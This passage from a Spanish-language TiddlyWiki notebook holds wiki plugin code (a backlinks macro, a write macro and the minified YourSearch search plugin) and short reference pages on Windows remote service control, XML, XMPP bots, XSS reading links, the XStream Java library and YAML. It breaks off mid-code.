		store.forEachTiddler(function(title,tiddler) {
			if (! excludes || ! excludes.contains(title)) {
				var links = tiddler.getLinks();
				for (var i=0; i < links.length; i++) {
					if (links[i] == root) {
						results.pushUnique(title);
					}
				}
			}
		});
		results.sort();
		out = "[[" + results.join("]]\n[[") + "]]";
		if (results.length && params[0])
			out = params[0] + out;
		if (! results.length && params[1])
			out = params[1] + out;
		out = "{{whatLinksHere{" + out + "}}}";
		wikify(out, place);
	}
}

//}}}
!Descripción
<part descripcion>
Información sobre la familia de sistemas operativos, tanto las versiones para escritorio, como versiones para servidores y dispositivos móviles.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Microsoft_Windows
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Detener servicios en máquinas remotas^^[[<editar>|$1]]^^
Se puede detener e iniciar un único servicio usando la herramienta {{{psservice.exe}}} de '''SysInternals'''. Se puede descargar de aquí:
http://technet.microsoft.com/en-us/sysinternals/bb897542

Por ejemplo, para detener el servicio {{{ServicioX}}} en la máquina {{{192.168.13.54}}} usando un usuario concreto:
{{{
psservice \\192.168.13.54 -u usuarioAdmin -p ConTr4señ4 stop ServicioX
}}}
/***
|''Name:''|~WriteMacro|
|''Version:''|0.1|
|''Author:''|[[Jack]]|
|''Type:''|Macro|
!Description
Makes use of evalled parameters to write values to the current tiddler or execute code.
!Usage
{{{<<write {{javascript expression}}>>}}}
!Examples (WriteMacroExamples)
Write today's date:
{{{<<write {{'Today is ' + (new Date()).formatString('DDD')}}>>}}}
<<write {{'Today is ' + (new Date()).formatString('DDD')}}>>
!Code
***/
//{{{
version.extensions.write = {major: 0, minor: 1, revision: 0, date: new Date("Apr 23, 2006")};
config.macros.write = {handler:function(place,macroName,params,wikifier,paramString,tiddler) {
 var parameters = paramString.parseParams("code",null,true);
 var code = parameters[0]['code'][0];
 wikify(code,place,null,tiddler);
}}
config.macros.write.wikify = wikify;
wikify = function(source,output,highlightRegExp,tiddler) {
 window.currentTiddler = tiddler;
 config.macros.write.wikify(source,output,highlightRegExp,tiddler);
}
//}}}
!Descripción
<part descripcion>
Información sobre XML y tecnologías entorno a él
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Extensible_Markup_Language
* ''Tecnologías XML:''
** Referencia de [[XML DOM]]: http://w3schools.com/dom/dom_nodetype.asp
** Referencia de [[XSLT]]: http://w3schools.com/xsl/xsl_w3celementref.asp
** Referencia de [[XPath]]: http://w3schools.com/xpath/xpath_functions.asp
** Referencia de [[XQuery]]: http://w3schools.com/xquery/xquery_reference.asp
** Referencia de [[XSD]] schema: http://w3schools.com/schema/schema_elements_ref.asp
** Referencia de [[XML-FO]]: http://w3schools.com/xslfo/xslfo_reference.asp
** Tutorial [[DTD]]: http://www.w3schools.com/DTD/default.asp
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción

! Referencias
* Librerías XMPP para Python: http://xmpppy.sourceforge.net/
* Framework para bots basado en xmpppy: http://thpinfo.com/2007/python-jabberbot/
* Ejemplo de bot simple usando el framework anterior: http://morethanseven.net/2009/01/18/simple-python-jabber-bot.html
* Bot modular basado en plugins: http://code.google.com/p/sleekbot/
* Otro bot modular basado en plugins: http://code.google.com/p/neutron/
* Artículo sobre bots XMPP y escalabilidad: http://metajack.wordpress.com/2008/08/04/thoughts-on-scalable-xmpp-bots/
* Artículo sobre como crear un bot en [[GAE]]: http://torquetorrents.wordpress.com/2009/09/21/creating-an-xmpp-bot-using-google-apps-engine/
* Otro sencillo artículo de un bot para [[GAE]]: http://masnun.com/blog/2010/02/01/building-a-jabber-bot-google-talk-with-python-and-google-app-engine/
* Extensiones XMPP para Twisted: http://wokkel.ik.nu/
* Ejemplo de bot hecho con Twisted: http://metajack.im/2008/09/25/an-xmpp-echo-bot-with-twisted-and-wokkel/
* Otro ejemplo con Twisted: http://yoan.dosimple.ch/blog/2007/01/30/
* Bot programador de televisión que entiende lenguaje natural: http://notenones.com/wordpress/rincon-informatico/tvbot-programing-the-tv-with-jabber/
!Descripción
<part descripcion>
XSS son las siglas de Cross Site Scripting (si, debería ser CSS, pero para no confundirlo con las hojas de estilo se cambión la C por X)
</part>
!Enlaces
<part enlaces>
!!General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Cross-site_scripting
* Artículo de Mundogeek: http://mundogeek.net/archivos/2010/03/09/cross-site-scripting/
* Artículo de Security art work: http://www.securityartwork.es/2010/03/10/owasp-top-10-ii-xss
* Serie de 5 artículos: http://dotnet-peru.blogspot.com/2007/07/inyecciones-html-xss-i.html
* XSS FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml

!! Evitar ataques XSS
* XSS prevention cheatsheet: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

!! Evitar filtros anti-XSS
* XSS cheatsheet: http://ha.ckers.org/xss.html
* Otro cheatsheet: http://0verl0ad.blogspot.com.es/2009/02/xss-cheatsheet.html
* XSS Filter Evasion Cheatsheet: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
XStream es una librería para [[Java]] que permite serializar y deserializar ~POJOs (beans simples) como documentos XML.

!Inicialización
Se puede inicializar de dos maneras. La más sencilla y rápida requiere de la librería [[XPP3|http://www.extreme.indiana.edu/xgws/xsoap/xpp/mxp1/index.html]]:
<code java>
XStream xstream = new XStream();
</code>
Si no se dispone de dicha librería se pueden utilizar las clases estandar de Java:
<code java>
XStream xstream = new XStream(new DomDriver());
</code>
!Definición del mapeo entre clases y elementos XML
Una vez inicializado XStream hay que decirle que clases se quieren utilizar, y que nombre tendrán en el DOM del documento XML resultante. A este emparejamiento se le denomina "//alias//". Crear un alias para varias clases es muy sencillo:
<code java>
xstream.alias("class_one", Class1.class);
xstream.alias("class_two", Class2.class);
</code>
!Serializar
Una vez definidos los alias, serializar es muy sencillo:
<code java>
//Creación de objetos
Class1 obj1 = new Class1();
obj1.setTwo(new Class2());
//Serialización
String xml = xstream.toXML(obj1);
</code>
Esto generará un {{{String}}} con el siguiente contenido:
<code xml>
<class_one>
    <class_two />
<lass_one>
</code>
!Deserializar
El proceso inverso es igualmente sencillo. Por ejemplo, para reconstruir los objetos a partir del XML generado en el punto anterior:
<code java>
Class1 obj2 = (Class1)xstream.fromXML(xml);
</code>
!Resumen
* Inicializar XStream:
<code java>
XStream xstream = new XStream(new DomDriver());
</code>
* Crear un alias de objeto a etiqueta:
<code java>
xstream.alias(String name, Class cls);
</code>
* Serializar:
<code java>
xstream.toXML(Object obj);
</code>
* Deserializar:
<code java>
Cls obj = (Cls)xstream.fromXML(String xml);
</code>
! Uso de JSON
En vez de XML, XStream permite serializar al formato [[JSON]], ideal para utilizar junto con aplicaciones [[JavaScript]], sobre todo si se utiliza Ajax o técnicas similares. XStream soporta dos librerías diferentes para realizar este proceso. Para generar este formato tan sólo hay que sustituir el primer paso (inicialización) por cualquiera de los dos siguientes (según la librería que se quiera utilizar):
* Driver externo //~Jettison//: Es el más sencillo, no reconoce tipos numéricos y genera todo en una única línea.
<code java>
XStream xstream = new XStream(new JettisonMappedXmlDriver());
xstream.setMode(XStream.NO_REFERENCES);
</code>
* Driver interno: Es más completo, entiende tipos numéricos y genera JSON legible, pero puede generar código incorrecto:
<code java>
XStream xstream = new XStream(new JsonHierarchicalStreamDriver());
xstream.setMode(XStream.NO_REFERENCES);
</code>
La serialización y deserialización se realizan de la misma manera.

!Enlaces:
* Página principal: http://xstream.codehaus.org/
* Tutorial: http://xstream.codehaus.org/tutorial.html
* Turial más completo: http://xstream.codehaus.org/alias-tutorial.html
!Descripción
<part descripcion>
El YAML es un lenguaje de definición de datos diseñado para ser leído de forma sencilla por personas, por lo que es ideal para definir ficheros de configuración que van a ser modificados por los usuarios.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/YAML
** Página principal: http://yaml.org/

* ''Librerías para diversos lenguajes:''
** JYaml para [[Java]]: http://jyaml.sourceforge.net/
** Snake YAML para [[Java]]: http://code.google.com/p/snakeyaml/
** PyYAML para [[Python]]: http://pyyaml.org/
** LibYAML para [[C]]: http://pyyaml.org/wiki/LibYAML
** yaml-cpp para [[C++]]: http://code.google.com/p/yaml-cpp/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<!--{{{-->
<span class='yourSearchNumber' macro='foundTiddler number'></span>
<span class='yourSearchTitle' macro='foundTiddler title'/></span>&nbsp;-&nbsp;
<span macro='foundTiddler field includeURL'/></span>&nbsp;-&nbsp;
<span class='yourSearchTags' macro='foundTiddler field tags 50'/></span>
<span macro="yourSearch if previewText"><div class='yourSearchText' macro='foundTiddler field text 250'/></div></span>
<!--}}}-->
/***
|''Name:''|YourSearchPlugin|
|''Version:''|2.1.4 (2009-09-04)|
|''Source:''|http://tiddlywiki.abego-software.de/#YourSearchPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|&copy; 2005-2009 [[abego Software|http://www.abego-software.de]]|
|''~CoreVersion:''|2.1.0|
|''Community:''|[[del.icio.us|http://del.icio.us/post?url=http://tiddlywiki.abego-software.de/index.html%23YourSearchPlugin]]|
|''Browser:''|Firefox 1.0.4+; Firefox 1.5; ~InternetExplorer 6.0|
!About YourSearch
YourSearch gives you a bunch of new features to simplify and speed up your daily searches in TiddlyWiki. It seamlessly integrates into the standard TiddlyWiki search: just start typing into the 'search' field and explore!

For more information see [[Help|YourSearch Help]].
!Compatibility
This plugin requires TiddlyWiki 2.1. 
Check the [[archive|http://tiddlywiki.abego-software.de/archive]] for ~YourSearchPlugins supporting older versions of TiddlyWiki.
!Source Code
***/
/***
This plugin's source code is compressed (and hidden). Use this [[link|http://tiddlywiki.abego-software.de/archive/YourSearchPlugin/Plugin-YourSearch-src.2.1.4.js]] to get the readable source code.
***/
///%
if(!version.extensions.YourSearchPlugin){version.extensions.YourSearchPlugin={major:2,minor:1,revision:4,source:"http://tiddlywiki.abego-software.de/#YourSearchPlugin",licence:"[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",copyright:"Copyright (c) abego Software GmbH, 2005-2009 (www.abego-software.de)"};if(!window.abego){window.abego={};}if(!Array.forEach){Array.forEach=function(_1,_2,_3){for(var i=0,_4=_1.length;i<_4;i++){_2.call(_3,_1[i],i,_1);}};Array.prototype.forEach=function(_5,_6){for(var i=0,_7=this.length;i<_7;i++){_5.call(_6,this[i],i,this);}};}abego.toInt=function(s,_8){if(!s){return _8;}var n=parseInt(s);return (n==NaN)?_8:n;};abego.createEllipsis=function(_9){var e=createTiddlyElement(_9,"span");e.innerHTML="&hellip;";};abego.shallowCopy=function(_a){if(!_a){return _a;}var _b={};for(var n in _a){_b[n]=_a[n];}return _b;};abego.copyOptions=function(_c){return !_c?{}:abego.shallowCopy(_c);};abego.countStrings=function(_d,s){if(!s){return 0;}var _e=s.length;var n=0;var _f=0;while(1){var i=_d.indexOf(s,_f);if(i<0){return n;}n++;_f=i+_e;}return n;};abego.getBracedText=function(_10,_11,_12){if(!_11){_11=0;}var re=/\{([^\}]*)\}/gm;re.lastIndex=_11;var m=re.exec(_10);if(m){var s=m[1];var _13=abego.countStrings(s,"{");if(!_13){if(_12){_12.lastIndex=re.lastIndex;}return s;}var len=_10.length;for(var i=re.lastIndex;i<len&&_13;i++){var c=_10.charAt(i);if(c=="{"){_13++;}else{if(c=="}"){_13--;}}}if(!_13){if(_12){_12.lastIndex=i-1;}return _10.substring(m.index+1,i-1);}}};abego.select=function(_14,_15,_16,_17){if(!_17){_17=[];}_14.forEach(function(t){if(_15.call(_16,t)){_17.push(t);}});return _17;};abego.consumeEvent=function(e){if(e.stopPropagation){e.stopPropagation();}if(e.preventDefault){e.preventDefault();}e.cancelBubble=true;e.returnValue=true;};abego.TiddlerFilterTerm=function(_18,_19){if(!_19){_19={};}var _1a=_18;if(!_19.textIsRegExp){_1a=_18.escapeRegExp();if(_19.fullWordMatch){_1a="\\b"+_1a+"\\b";}}var _1b=new RegExp(_1a,"m"+(_19.caseSensitive?"":"i"));this.tester=new abego.MultiFieldRegExpTester(_1b,_19.fields,_19.withExtendedFields);};abego.TiddlerFilterTerm.prototype.test=function(_1c){return this.tester.test(_1c);};abego.parseNewTiddlerCommandLine=function(s){var m=/(.*?)\.(?:\s+|$)([^#]*)(#.*)?/.exec(s);if(!m){m=/([^#]*)()(#.*)?/.exec(s);}if(m){var r;if(m[3]){var s2=m[3].replace(/#/g,"");r=s2.parseParams("tag");}else{r=[[]];}var _1d=m[2]?m[2].trim():"";r.push({name:"text",value:_1d});r[0].text=[_1d];return {title:m[1].trim(),params:r};}else{return {title:s.trim(),params:[[]]};}};abego.parseTiddlerFilterTerm=function(_1e,_1f,_20){var re=/\s*(?:(?:\{([^\}]*)\})|(?:(=)|([#%!])|(?:(\w+)\s*\:(?!\/\/))|(?:(?:("(?:(?:\\")|[^"])+")|(?:\/((?:(?:\\\/)|[^\/])+)\/)|(\w+\:\/\/[^\s]+)|([^\s\)\-\"]+)))))/mg;var _21={"!":"title","%":"text","#":"tags"};var _22={};var _23;re.lastIndex=_1f;while(1){var i=re.lastIndex;var m=re.exec(_1e);if(!m||m.index!=i){throw "Word or String literal expected";}if(m[1]){var _24={};var _25=abego.getBracedText(_1e,0,_24);if(!_25){throw "Invalid {...} syntax";}var f=Function("tiddler","return ("+_25+");");return {func:f,lastIndex:_24.lastIndex,markRE:null};}if(m[2]){_23=true;}else{if(m[3]){_22[_21[m[3]]]=1;}else{if(m[4]){_22[m[4]]=1;}else{var _26=m[6];var _27=m[5]?window.eval(m[5]):m[6]?m[6]:m[7]?m[7]:m[8];var _20=abego.copyOptions(_20);_20.fullWordMatch=_23;_20.textIsRegExp=_26;var _28=[];for(var n in _22){_28.push(n);}if(_28.length==0){_20.fields=_20.defaultFields;}else{_20.fields=_28;_20.withExtendedFields=false;}var _29=new abego.TiddlerFilterTerm(_27,_20);var _2a=_26?_27:_27.escapeRegExp();if(_2a&&_23){_2a="\\b"+_2a+"\\b";}return {func:function(_2b){return _29.test(_2b);},lastIndex:re.lastIndex,markRE:_2a?"(?:"+_2a+")":null};}}}}};abego.BoolExp=function(s,_2c,_2d){this.s=s;var _2e=_2d&&_2d.defaultOperationIs_OR;var _2f=/\s*(?:(\-|not)|(\())/gi;var _30=/\s*\)/g;var _31=/\s*(?:(and|\&\&)|(or|\|\|))/gi;var _32=/\s*[^\)\s]/g;var _33=/\s*(\-|not)?(\s*\()?/gi;var _34;var _35=function(_36){_33.lastIndex=_36;var m=_33.exec(s);var _37;var _38;if(m&&m.index==_36){_36+=m[0].length;_37=m[1];if(m[2]){var e=_34(_36);_30.lastIndex=e.lastIndex;if(!_30.exec(s)){throw "Missing ')'";}_38={func:e.func,lastIndex:_30.lastIndex,markRE:e.markRE};}}if(!_38){_38=_2c(s,_36,_2d);}if(_37){_38.func=(function(f){return function(_39){return !f(_39);};})(_38.func);_38.markRE=null;}return _38;};_34=function(_3a){var _3b=_35(_3a);while(1){var l=_3b.lastIndex;_31.lastIndex=l;var m=_31.exec(s);var _3c;var _3d;if(m&&m.index==l){_3c=!m[1];_3d=_35(_31.lastIndex);}else{try{_3d=_35(l);}catch(e){return _3b;}_3c=_2e;}_3b.func=(function(_3e,_3f,_40){return _40?function(_41){return _3e(_41)||_3f(_41);}:function(_42){return _3e(_42)&&_3f(_42);};})(_3b.func,_3d.func,_3c);_3b.lastIndex=_3d.lastIndex;if(!_3b.markRE){_3b.markRE=_3d.markRE;}else{if(_3d.markRE){_3b.markRE=_3b.markRE+"|"+_3d.markRE;}}}};var _43=_34(0);this.evalFunc=_43.func;if(_43.markRE){this.markRegExp=new RegExp(_43.markRE,_2d.caseSensitive?"mg":"img");}};abego.BoolExp.prototype.exec=function(){return this.evalFunc.apply(this,arguments);};abego.BoolExp.prototype.getMarkRegExp=function(){return this.markRegExp;};abego.BoolExp.prototype.toString=function(){return this.s;};abego.MultiFieldRegExpTester=function(re,_44,_45){this.re=re;this.fields=_44?_44:["title","text","tags"];this.withExtendedFields=_45;};abego.MultiFieldRegExpTester.prototype.test=function(_46){var re=this.re;for(var i=0;i<this.fields.length;i++){var s=store.getValue(_46,this.fields[i]);if(typeof s=="string"&&re.test(s)){return this.fields[i];}}if(this.withExtendedFields){return store.forEachField(_46,function(_47,_48,_49){return typeof _49=="string"&&re.test(_49)?_48:null;},true);}return null;};abego.TiddlerQuery=function(_4a,_4b,_4c,_4d,_4e){if(_4c){this.regExp=new RegExp(_4a,_4b?"mg":"img");this.tester=new abego.MultiFieldRegExpTester(this.regExp,_4d,_4e);}else{this.expr=new abego.BoolExp(_4a,abego.parseTiddlerFilterTerm,{defaultFields:_4d,caseSensitive:_4b,withExtendedFields:_4e});}this.getQueryText=function(){return _4a;};this.getUseRegExp=function(){return _4c;};this.getCaseSensitive=function(){return _4b;};this.getDefaultFields=function(){return _4d;};this.getWithExtendedFields=function(){return _4e;};};abego.TiddlerQuery.prototype.test=function(_4f){if(!_4f){return false;}if(this.regExp){return this.tester.test(_4f);}return this.expr.exec(_4f);};abego.TiddlerQuery.prototype.filter=function(_50){return abego.select(_50,this.test,this);};abego.TiddlerQuery.prototype.getMarkRegExp=function(){if(this.regExp){return "".search(this.regExp)>=0?null:this.regExp;}return this.expr.getMarkRegExp();};abego.TiddlerQuery.prototype.toString=function(){return (this.regExp?this.regExp:this.expr).toString();};abego.PageWiseRenderer=function(){this.firstIndexOnPage=0;};merge(abego.PageWiseRenderer.prototype,{setItems:function(_51){this.items=_51;this.setFirstIndexOnPage(0);},getMaxPagesInNavigation:function(){return 10;},getItemsCount:function(_52){return this.items?this.items.length:0;},getCurrentPageIndex:function(){return Math.floor(this.firstIndexOnPage/this.getItemsPerPage());},getLastPageIndex:function(){return Math.floor((this.getItemsCount()-1)/this.getItemsPerPage());},setFirstIndexOnPage:function(_53){this.firstIndexOnPage=Math.min(Math.max(0,_53),this.getItemsCount()-1);},getFirstIndexOnPage:function(){this.firstIndexOnPage=Math.floor(this.firstIndexOnPage/this.getItemsPerPage())*this.getItemsPerPage();return this.firstIndexOnPage;},getLastIndexOnPage:function(){return Math.min(this.getFirstIndexOnPage()+this.getItemsPerPage()-1,this.getItemsCount()-1);},onPageChanged:function(_54,_55){},renderPage:function(_56){if(_56.beginRendering){_56.beginRendering(this);}try{if(this.getItemsCount()){var _57=this.getLastIndexOnPage();var _58=-1;for(var i=this.getFirstIndexOnPage();i<=_57;i++){_58++;_56.render(this,this.items[i],i,_58);}}}finally{if(_56.endRendering){_56.endRendering(this);}}},addPageNavigation:function(_59){if(!this.getItemsCount()){return;}var _5a=this;var _5b=function(e){if(!e){var e=window.event;}abego.consumeEvent(e);var _5c=abego.toInt(this.getAttribute("page"),0);var _5d=_5a.getCurrentPageIndex();if(_5c==_5d){return;}var _5e=_5c*_5a.getItemsPerPage();_5a.setFirstIndexOnPage(_5e);_5a.onPageChanged(_5c,_5d);};var _5f;var _60=this.getCurrentPageIndex();var _61=this.getLastPageIndex();if(_60>0){_5f=createTiddlyButton(_59,"Previous","Go to previous page (Shortcut: Alt-'<')",_5b,"prev");_5f.setAttribute("page",(_60-1).toString());_5f.setAttribute("accessKey","<");}for(var i=-this.getMaxPagesInNavigation();i<this.getMaxPagesInNavigation();i++){var _62=_60+i;if(_62<0){continue;}if(_62>_61){break;}var _63=(i+_60+1).toString();var _64=_62==_60?"currentPage":"otherPage";_5f=createTiddlyButton(_59,_63,"Go to page %0".format([_63]),_5b,_64);_5f.setAttribute("page",(_62).toString());}if(_60<_61){_5f=createTiddlyButton(_59,"Next","Go to next page (Shortcut: Alt-'>')",_5b,"next");_5f.setAttribute("page",(_60+1).toString());_5f.setAttribute("accessKey",">");}}});abego.LimitedTextRenderer=function(){var _65=40;var _66=4;var _67=function(_68,_69,_6a){var n=_68.length;if(n==0){_68.push({start:_69,end:_6a});return;}var i=0;for(;i<n;i++){var _6b=_68[i];if(_6b.start<=_6a&&_69<=_6b.end){var r;var _6c=i+1;for(;_6c<n;_6c++){r=_68[_6c];if(r.start>_6a||_69>_6b.end){break;}}var _6d=_69;var _6e=_6a;for(var j=i;j<_6c;j++){r=_68[j];_6d=Math.min(_6d,r.start);_6e=Math.max(_6e,r.end);}_68.splice(i,_6c-i,{start:_6d,end:_6e});return;}if(_6b.start>_6a){break;}}_68.splice(i,0,{start:_69,end:_6a});};var _6f=function(_70){var _71=0;for(var i=0;i<_70.length;i++){var _72=_70[i];_71+=_72.end-_72.start;}return _71;};var _73=function(c){return (c>="a"&&c<="z")||(c>="A"&&c<="Z")||c=="_";};var _74=function(s,_75){if(!_73(s[_75])){return null;}for(var i=_75-1;i>=0&&_73(s[i]);i--){}var _76=i+1;var n=s.length;for(i=_75+1;i<n&&_73(s[i]);i++){}return {start:_76,end:i};};var _77=function(s,_78,_79){var _7a;if(_79){_7a=_74(s,_78);}else{if(_78<=0){return _78;}_7a=_74(s,_78-1);}if(!_7a){return _78;}if(_79){if(_7a.start>=_78-_66){return _7a.start;}if(_7a.end<=_78+_66){return _7a.end;}}else{if(_7a.end<=_78+_66){return _7a.end;}if(_7a.start>=_78-_66){return _7a.start;}}return _78;};var _7b=function(s,_7c){var _7d=[];if(_7c){var _7e=0;var n=s.length;var _7f=0;do{_7c.lastIndex=_7e;var _80=_7c.exec(s);if(_80){if(_7e<_80.index){var t=s.substring(_7e,_80.index);_7d.push({text:t});}_7d.push({text:_80[0],isMatch:true});_7e=_80.index+_80[0].length;}else{_7d.push({text:s.substr(_7e)});break;}}while(true);}else{_7d.push({text:s});}return _7d;};var _81=function(_82){var _83=0;for(var i=0;i<_82.length;i++){if(_82[i].isMatch){_83++;}}return _83;};var _84=function(s,_85,_86,_87,_88){var _89=Math.max(Math.floor(_88/(_87+1)),_65);var _8a=Math.max(_89-(_86-_85),0);var _8b=Math.min(Math.floor(_86+_8a/3),s.length);var _8c=Math.max(_8b-_89,0);_8c=_77(s,_8c,true);_8b=_77(s,_8b,false);return {start:_8c,end:_8b};};var _8d=function(_8e,s,_8f){var _90=[];var _91=_81(_8e);var pos=0;for(var i=0;i<_8e.length;i++){var t=_8e[i];var _92=t.text;if(t.isMatch){var _93=_84(s,pos,pos+_92.length,_91,_8f);_67(_90,_93.start,_93.end);}pos+=_92.length;}return _90;};var _94=function(s,_95,_96){var _97=_96-_6f(_95);while(_97>0){if(_95.length==0){_67(_95,0,_77(s,_96,false));return;}else{var _98=_95[0];var _99;var _9a;if(_98.start==0){_99=_98.end;if(_95.length>1){_9a=_95[1].start;}else{_67(_95,_99,_77(s,_99+_97,false));return;}}else{_99=0;_9a=_98.start;}var _9b=Math.min(_9a,_99+_97);_67(_95,_99,_9b);_97-=(_9b-_99);}}};var _9c=function(_9d,s,_9e,_9f,_a0){if(_9f.length==0){return;}var _a1=function(_a2,s,_a3,_a4,_a5){var t;var _a6;var pos=0;var i=0;var _a7=0;for(;i<_a3.length;i++){t=_a3[i];_a6=t.text;if(_a4<pos+_a6.length){_a7=_a4-pos;break;}pos+=_a6.length;}var _a8=_a5-_a4;for(;i<_a3.length&&_a8>0;i++){t=_a3[i];_a6=t.text.substr(_a7);_a7=0;if(_a6.length>_a8){_a6=_a6.substr(0,_a8);}if(t.isMatch){createTiddlyElement(_a2,"span",null,"marked",_a6);}else{createTiddlyText(_a2,_a6);}_a8-=_a6.length;}if(_a5<s.length){abego.createEllipsis(_a2);}};if(_9f[0].start>0){abego.createEllipsis(_9d);}var _a9=_a0;for(var i=0;i<_9f.length&&_a9>0;i++){var _aa=_9f[i];var len=Math.min(_aa.end-_aa.start,_a9);_a1(_9d,s,_9e,_aa.start,_aa.start+len);_a9-=len;}};this.render=function(_ab,s,_ac,_ad){if(s.length<_ac){_ac=s.length;}var _ae=_7b(s,_ad);var _af=_8d(_ae,s,_ac);_94(s,_af,_ac);_9c(_ab,s,_ae,_af,_ac);};};(function(){function _b0(msg){alert(msg);throw msg;};if(version.major<2||(version.major==2&&version.minor<1)){_b0("YourSearchPlugin requires TiddlyWiki 2.1 or newer.\n\nCheck the archive for YourSearch plugins\nsupporting older versions of TiddlyWiki.\n\nArchive: http://tiddlywiki.abego-software.de/archive");}abego.YourSearch={};var _b1;var _b2;var _b3=function(_b4){_b1=_b4;};var _b5=function(){return _b1?_b1:[];};var _b6=function(){return _b1?_b1.length:0;};var _b7=4;var _b8=10;var _b9=2;var _ba=function(s,re){var m=s.match(re);return m?m.length:0;};var _bb=function(_bc,_bd){var _be=_bd.getMarkRegExp();if(!_be){return 1;}var _bf=_bc.title.match(_be);var _c0=_bf?_bf.length:0;var _c1=_ba(_bc.getTags(),_be);var _c2=_bf?_bf.join("").length:0;var _c3=_bc.title.length>0?_c2/_bc.title.length:0;var _c4=_c0*_b7+_c1*_b9+_c3*_b8+1;return _c4;};var _c5=function(_c6,_c7,_c8,_c9,_ca,_cb){_b2=null;var _cc=_c6.reverseLookup("tags",_cb,false);try{var _cd=[];if(config.options.chkSearchInTitle){_cd.push("title");}if(config.options.chkSearchInText){_cd.push("text");}if(config.options.chkSearchInTags){_cd.push("tags");}_b2=new abego.TiddlerQuery(_c7,_c8,_c9,_cd,config.options.chkSearchExtendedFields);}catch(e){return [];}var _ce=_b2.filter(_cc);var _cf=abego.YourSearch.getRankFunction();for(var i=0;i<_ce.length;i++){var _d0=_ce[i];var _d1=_cf(_d0,_b2);_d0.searchRank=_d1;}if(!_ca){_ca="title";}var _d2=function(a,b){var _d3=a.searchRank-b.searchRank;if(_d3==0){if(a[_ca]==b[_ca]){return (0);}else{return (a[_ca]<b[_ca])?-1:+1;}}else{return (_d3>0)?-1:+1;}};_ce.sort(_d2);return _ce;};var _d4=80;var _d5=50;var _d6=250;var _d7=50;var _d8=25;var _d9=10;var _da="yourSearchResult";var _db="yourSearchResultItems";var _dc;var _dd;var _de;var _df;var _e0;var _e1=function(){if(version.extensions.YourSearchPlugin.styleSheetInited){return;}version.extensions.YourSearchPlugin.styleSheetInited=true;setStylesheet(store.getTiddlerText("YourSearchStyleSheet"),"yourSearch");};var _e2=function(){return _dd!=null&&_dd.parentNode==document.body;};var _e3=function(){if(_e2()){document.body.removeChild(_dd);}};var _e4=function(e){_e3();var _e5=this.getAttribute("tiddlyLink");if(_e5){var _e6=this.getAttribute("withHilite");var _e7=highlightHack;if(_e6&&_e6=="true"&&_b2){highlightHack=_b2.getMarkRegExp();}story.displayTiddler(this,_e5);highlightHack=_e7;}return (false);};var _e8=function(){if(!_de){return;}var _e9=_de;var _ea=findPosX(_e9);var _eb=findPosY(_e9);var _ec=_e9.offsetHeight;var _ed=_ea;var _ee=_eb+_ec;var _ef=findWindowWidth();if(_ef<_dd.offsetWidth){_dd.style.width=(_ef-100)+"px";_ef=findWindowWidth();}var _f0=_dd.offsetWidth;if(_ed+_f0>_ef){_ed=_ef-_f0-30;}if(_ed<0){_ed=0;}_dd.style.left=_ed+"px";_dd.style.top=_ee+"px";_dd.style.display="block";};var _f1=function(){if(_dd){window.scrollTo(0,ensureVisible(_dd));}if(_de){window.scrollTo(0,ensureVisible(_de));}};var _f2=function(){_e8();_f1();};var _f3;var _f4;var _f5=new abego.PageWiseRenderer();var _f6=function(_f7){this.itemHtml=store.getTiddlerText("YourSearchItemTemplate");if(!this.itemHtml){_b0("YourSearchItemTemplate not found");}this.place=document.getElementById(_db);if(!this.place){this.place=createTiddlyElement(_f7,"div",_db);}};merge(_f6.prototype,{render:function(_f8,_f9,_fa,_fb){_f3=_fb;_f4=_f9;var _fc=createTiddlyElement(this.place,"div",null,"yourSearchItem");_fc.innerHTML=this.itemHtml;applyHtmlMacros(_fc,null);refreshElements(_fc,null);},endRendering:function(_fd){_f4=null;}});var _fe=function(){if(!_dd||!_de){return;}var _ff=store.getTiddlerText("YourSearchResultTemplate");if(!_ff){_ff="<b>Tiddler YourSearchResultTemplate not found</b>";}_dd.innerHTML=_ff;applyHtmlMacros(_dd,null);refreshElements(_dd,null);var _100=new _f6(_dd);_f5.renderPage(_100);_f2();};_f5.getItemsPerPage=function(){var n=(config.options.chkPreviewText)?abego.toInt(config.options.txtItemsPerPageWithPreview,_d9):abego.toInt(config.options.txtItemsPerPage,_d8);return (n>0)?n:1;};_f5.onPageChanged=function(){_fe();};var _101=function(){if(_de==null||!config.options.chkUseYourSearch){return;}if((_de.value==_dc)&&_dc&&!_e2()){if(_dd&&(_dd.parentNode!=document.body)){document.body.appendChild(_dd);_f2();}else{abego.YourSearch.onShowResult(true);}}};var _102=function(){_e3();_dd=null;_dc=null;};var _103=function(self,e){while(e!=null){if(self==e){return true;}e=e.parentNode;}return false;};var _104=function(e){if(e.target==_de){return;}if(e.target==_df){return;}if(_dd&&_103(_dd,e.target)){return;}_e3();};var _105=function(e){if(e.keyCode==27){_e3();}};addEvent(document,"click",_104);addEvent(document,"keyup",_105);var _106=function(text,_107,_108){_dc=text;_b3(_c5(store,text,_107,_108,"title","excludeSearch"));abego.YourSearch.onShowResult();};var 